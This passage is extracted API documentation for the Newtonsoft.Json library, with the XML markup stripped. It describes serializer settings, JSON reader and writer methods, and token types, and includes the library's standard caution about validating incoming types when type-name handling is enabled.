+ when deserializing with a value other than . + + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + + + + Gets or sets how reference loops (e.g. a class referencing itself) is handled. + The default value is . + + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets a collection that will be used during serialization. + + Collection that will be used during serialization. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Gets a value indicating whether there will be a check for additional JSON content after deserializing an object. + The default value is false. + + + true if there will be a check for additional JSON content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Creates a new instance. + The will not use default settings + from . + + + A new instance. + The will not use default settings + from . + + + + + Creates a new instance using the specified . + The will not use default settings + from . + + The settings to be applied to the . + + A new instance using the specified . + The will not use default settings + from . + + + + + Creates a new instance. + The will use default settings + from . + + + A new instance. + The will use default settings + from . + + + + + Creates a new instance using the specified . + The will use default settings + from as well as the specified . + + The settings to be applied to the . + + A new instance using the specified . + The will use default settings + from as well as the specified . + + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Populates the JSON values onto the target object. + + The that contains the JSON structure to read values from. + The target object to populate values onto. + + + + Deserializes the JSON structure contained by the specified . + + The that contains the JSON structure to deserialize. + The being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The type of the object to deserialize. + The instance of being deserialized. + + + + Deserializes the JSON structure contained by the specified + into an instance of the specified type. + + The containing the object. + The of object being deserialized. + The instance of being deserialized. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + The type of the value being serialized. + This parameter is used when is Auto to write out the type name if the type of the value does not match. + Specifying the type is optional. + + + + + Serializes the specified and writes the JSON structure + using the specified . + + The used to write the JSON structure. + The to serialize. + + + + Specifies the settings on a object. + + + + + Gets or sets how reference loops (e.g. a class referencing itself) are handled. + The default value is . + + Reference loop handling. + + + + Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization. + The default value is . + + Missing member handling. + + + + Gets or sets how objects are created during deserialization. + The default value is . + + The object creation handling. + + + + Gets or sets how null values are handled during serialization and deserialization. + The default value is . + + Null value handling. + + + + Gets or sets how default values are handled during serialization and deserialization. + The default value is . + + The default value handling. + + + + Gets or sets a collection that will be used during serialization. + + The converters. + + + + Gets or sets how object references are preserved by the serializer. + The default value is . + + The preserve references handling. + + + + Gets or sets how type name writing and reading is handled by the serializer. + The default value is . + + + should be used with caution when your application deserializes JSON from an external source. + Incoming types should be validated with a custom + when deserializing with a value other than . + + The type name handling. + + + + Gets or sets how metadata properties are used during deserialization. + The default value is . + + The metadata properties handling. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how a type name assembly is written and resolved by the serializer. + The default value is . + + The type name assembly format. + + + + Gets or sets how constructors are used during deserialization. + The default value is . + + The constructor handling. + + + + Gets or sets the contract resolver used by the serializer when + serializing .NET objects to JSON and vice versa. + + The contract resolver. + + + + Gets or sets the equality comparer used by the serializer when comparing references. + + The equality comparer. + + + + Gets or sets the used by the serializer when resolving references. + + The reference resolver. + + + + Gets or sets a function that creates the used by the serializer when resolving references. + + A function that creates the used by the serializer when resolving references. + + + + Gets or sets the used by the serializer when writing trace messages. + + The trace writer. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the used by the serializer when resolving type names. + + The binder. + + + + Gets or sets the error handler called during serialization and deserialization. + + The error handler called during serialization and deserialization. + + + + Gets or sets the used by the serializer when invoking serialization callback methods. + + The context. + + + + Gets or sets how and values are formatted when writing JSON text, + and the expected date format when reading JSON text. + The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". + + + + + Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . + A null value means there is no maximum. + The default value is 64. + + + + + Indicates how JSON text output is formatted. + The default value is . + + + + + Gets or sets how dates are written to JSON text. + The default value is . + + + + + Gets or sets how time zones are handled during serialization and deserialization. + The default value is . + + + + + Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. + The default value is . + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written as JSON. + The default value is . + + + + + Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. + The default value is . + + + + + Gets or sets how strings are escaped when writing JSON text. + The default value is . + + + + + Gets or sets the culture used when reading JSON. + The default value is . + + + + + Gets a value indicating whether there will be a check for additional content after deserializing an object. + The default value is false. + + + true if there will be a check for additional content after deserializing an object; otherwise, false. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + using values copied from the passed in . + + + + + Represents a reader that provides fast, non-cached, forward-only access to JSON text data. + + + + + Asynchronously reads the next JSON token from the source. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns true if the next token was read successfully; false if there are no more tokens to read. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a []. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the []. This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a of . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the of . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously reads the next JSON token from the source as a . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous read. The + property returns the . This result will be null at the end of an array. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Initializes a new instance of the class with the specified . + + The containing the JSON data to read. + + + + Gets or sets the reader's property name table. + + + + + Gets or sets the reader's character buffer pool. + + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a []. + + A [] or null if the next JSON token is null. This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Gets a value indicating whether the class can return line information. + + + true if and can be provided; otherwise, false. + + + + + Gets the current line number. + + + The current line number or 0 if no line information is available (for example, returns false). + + + + + Gets the current line position. + + + The current line position or 0 if no line information is available (for example, returns false). + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + Derived classes must override this method to get asynchronous behaviour. Otherwise it will + execute synchronously, returning an already-completed task. + + + + Gets or sets the writer's character array pool. + + + + + Gets or sets how many s to write for each level in the hierarchy when is set to . + + + + + Gets or sets which character to use to quote attribute values. + + + + + Gets or sets which character to use for indenting when is set to . + + + + + Gets or sets a value indicating whether object names will be surrounded with quotes. + + + + + Initializes a new instance of the class using the specified . + + The to write to. + + + + Flushes whatever is in the buffer to the underlying and also flushes the underlying . + + + + + Closes this writer. + If is set to true, the underlying is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the specified end token. + + The end token to write. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair on a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Specifies the type of JSON token. + + + + + This is returned by the if a read method has not been called. + + + + + An object start token. + + + + + An array start token. + + + + + A constructor start token. + + + + + An object property name. + + + + + A comment. + + + + + Raw JSON. + + + + + An integer. + + + + + A float. + + + + + A string. + + + + + A boolean. + + + + + A null token. + + + + + An undefined token. + + + + + An object end token. + + + + + An array end token. + + + + + A constructor end token. + + + + + A Date. + + + + + Byte data. + + + + + + Represents a reader that provides validation. + + + JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. + + + + + + Sets an event handler for receiving schema validation errors. + + + + + Gets the text value of the current JSON token. + + + + + + Gets the depth of the current token in the JSON document. + + The depth of the current token in the JSON document. + + + + Gets the path of the current JSON token. + + + + + Gets the quotation mark character used to enclose the value of a string. + + + + + + Gets the type of the current JSON token. + + + + + + Gets the .NET type for the current JSON token. + + + + + + Initializes a new instance of the class that + validates the content returned from the given . + + The to read from while validating. + + + + Gets or sets the schema. + + The schema. + + + + Gets the used to construct this . + + The specified in the constructor. + + + + Changes the reader's state to . + If is set to true, the underlying is also closed. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a []. + + + A [] or null if the next JSON token is null. + + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying as a . + + A . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . This method will return null at the end of an array. + + + + Reads the next JSON token from the underlying as a of . + + A of . + + + + Reads the next JSON token from the underlying . + + + true if the next token was read successfully; false if there are no more tokens to read. + + + + + Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. + + + + + Asynchronously closes this writer. + If is set to true, the destination is also closed. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON where a value is expected and 